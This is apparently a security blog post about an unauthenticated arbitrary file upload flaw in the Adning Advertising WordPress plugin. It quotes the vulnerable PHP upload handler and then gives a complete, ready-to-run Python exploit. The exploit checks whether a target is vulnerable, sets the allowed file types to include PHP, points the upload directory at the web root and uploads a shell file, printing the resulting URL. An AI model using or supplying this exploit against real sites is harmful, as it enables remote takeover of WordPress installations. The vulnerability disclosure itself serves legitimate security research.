Wordpress Arbitrary File Upload
Taking over wordpress sites in seconds using a popular extension known as Adning Advertising.
Overview
Note: This exploit has been published on exploit-db: https://www.exploit-db.com/exploits/49332.
Recently I became aware of an exploit for a popular wordpress extension with more than 8,000 installs according to wordfence.
After scanning the web for a proof of concept (POC) with no luck, I eventually decided to download the plugin source code and develop a POC by myself.
Wordpress is a content management system (CMS) written in PHP that is usually paired with a MySQL database. As such, it inherits all the security vulnerabilities that come with a PHP and SQL backend.
The vulnerable plugin in question is Adning Advertising (adning.com) and the
effected versions are reported to be <1.5.6. The plugin allows users to upload
advertising banners and manage advertising campaigns. The plugin is located in
the base directory: <wp base>/wp-content/plugins/angwp
The first task was to find an older version of the plugin and with a bit of googling managed to stumble on version 1.5.0 for analysis.
After scanning the plugins directory tree I came across the file <plugin
base>/include/classes/ADNI_Uploader.php
. It was here where I was quite
surprised to see the following snippet of code:
public static $version = '2.0.2';
public static $upload_folder = '';
public function __construct() {
$_spr_upload_ajax_actions = array(
'_ning_upload_image',
'_ning_remove_image'
);
foreach($_spr_upload_ajax_actions as $ajax_action){
add_action( 'wp_ajax_' . $ajax_action, array(__CLASS__, str_replace( '-', '_', $ajax_action )));
add_action( 'wp_ajax_nopriv_' . $ajax_action, array(__CLASS__, str_replace( '-', '_', $ajax_action )));
}
}
Here the author has defined two AJAX actions, one for image uploads
_ning_upload_image
and another for deleting images _ning_remove_image
. AJAX
actions may be invoked with a POST request to admin-ajax.php
which is located
in <wp base>/wp-admin
.
What surprised me was that the author created a wp_ajax_nopriv_
hook to each
action, which meant that any unauthenticated user could make AJAX requests and
at least theoretically upload or delete images.
However the following snippet for the image upload function _ning_upload_image
revealed some interesting peculiarities:
public static function _ning_upload_image()
{
$_action = isset($_POST['action']) ? $_POST['action'] : '';
$user_id = isset($_POST['uid']) ? $_POST['uid'] : 0;
$banner_id = isset($_POST['bid']) ? $_POST['bid'] : 0;
$max_upload_size = isset($_POST['max_upload_size']) ? $_POST['max_upload_size'] : 100;
$upload = isset($_POST['upload']) ? json_decode(stripslashes($_POST['upload']), true) : array();
$valid_formats = isset($_POST['allowed_file_types']) ? explode(',', $_POST['allowed_file_types']) : array('jpg');
if( in_array('jpg', $valid_formats) )
{
$valid_formats[] = 'jpeg';
}
// $max_file_size = 1024*100; //100 kb
// $max_file_size = 1024000*15; // 15 MB (1 mb = 1000 kb)
$max_file_size = 1024000*$max_upload_size;
// $upload_path = $upload_dir.'/'.$upload_folder;
// $upload_path = $upload_path.$upload_folder;
$upload_path = $upload['dir'].$upload['folder'];
$count = 0;
// Create upload folder if not exists
if(!is_dir($upload_path)) {
mkdir($upload_path, 0777, true);
}
if(!empty($_FILES['files']))
{
...
In declaring valid file upload formats, the author has made the file upload
whitelist settable through the allowed_file_types
POST parameter. This
effectively means that files of any type can be uploaded making this an
arbitrary file upload exploit.
Moreover, the file upload path is also user settable through the JSON POST
parameter upload
, which means we have full control over our file upload
location. Often times arbitrary file upload exploits do not provide you with a
known destination url for your uploaded shell (due to RNGs) so the fact that we
have control over the destination directory is incredibly convenient!
Finally the actual file data to be uploaded may be passed to the files
POST
parameter.
Exploit
In developing our python exploit, our first task is to determine how we can call
_ning_upload_image
as an unauthenticated user. Thanks to our wp_ajax_nopriv_
hook calling the relevant AJAX action is as simple as: <base
url>/admin-ajax.php?action=_ning_upload_image
For versions < 1.5.6 of the software the following string will be returned when
no valid post data is provided: no files found.
This string can be used to
check if the target host is vulnerable to exploitation.
def vuln_check(uri):
response = requests.get(uri)
raw = response.text
if ("no files found" in raw):
return True;
else:
return False;
...
Next the post parameters: allowed_file_types
and upload
that represent the
file whitelist and upload directory respectively need to be sent as a POST
request as well as our file data.
The file upload directory is relative to the current php context, for our
exploit this is admin-ajax.php which is located in <wp base>/wp-admin
and
therefore to upload our shell to the website root directory we supply the
following JSON data to the upload
POST parameter: {"dir" : "../"}
. This is
then converted into a string using json.dumps
Determining whether our shell has been successfully uploaded is also important
and the response received following a successful invocation of the
_ning_upload_image
action can be used to determine this.
It was noted that upon file upload success the following string formed part of
the response text: "success":true
and this is what was used to determine a
successful state.
files = {'files[]' : open(file_path)}
data = {
"allowed_file_types" : "php,jpg,jpeg",
"upload" : json.dumps({"dir" : "../"})
}
print("Uploading Shell...");
response = requests.post(uri, files=files, data=data )
file_name = path.basename(file_path)
if('"success":true' in response.text):
print("Shell Uploaded!")
if(base[-1] != '/'):
base += '/'
print(base + file_name)
else:
print("Shell Upload Failed")
sys.exit(1)
The full exploit source is shown below:
import os.path
from os import path
import json
import requests;
import sys
def print_banner():
print("Adning Advertising < 1.5.6 - Arbitrary File Upload")
print("Author -> space_hen (www.lunar.sh)")
def print_usage():
print("Usage: python3 exploit.py [target url] [php file]")
print("Ex: python3 exploit.py https://example.com ./shell.php")
def vuln_check(uri):
response = requests.get(uri)
raw = response.text
if ("no files found" in raw):
return True;
else:
return False;
def main():
print_banner()
if(len(sys.argv) != 3):
print_usage();
sys.exit(1);
base = sys.argv[1]
file_path = sys.argv[2]
ajax_action = '_ning_upload_image'
admin = '/wp-admin/admin-ajax.php';
uri = base + admin + '?action=' + ajax_action ;
check = vuln_check(uri);
if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)
if( path.isfile(file_path) == False):
print("(*) Invalid file!")
sys.exit(1)
files = {'files[]' : open(file_path)}
data = {
"allowed_file_types" : "php,jpg,jpeg",
"upload" : json.dumps({"dir" : "../"})
}
print("Uploading Shell...");
response = requests.post(uri, files=files, data=data )
file_name = path.basename(file_path)
if('"success":true' in response.text):
print("Shell Uploaded!")
if(base[-1] != '/'):
base += '/'
print(base + file_name)
else:
print("Shell Upload Failed")
sys.exit(1)
main();
Demo
Source Code
The source code for this journal can be found at https://github.com/lunarjournal/adningdb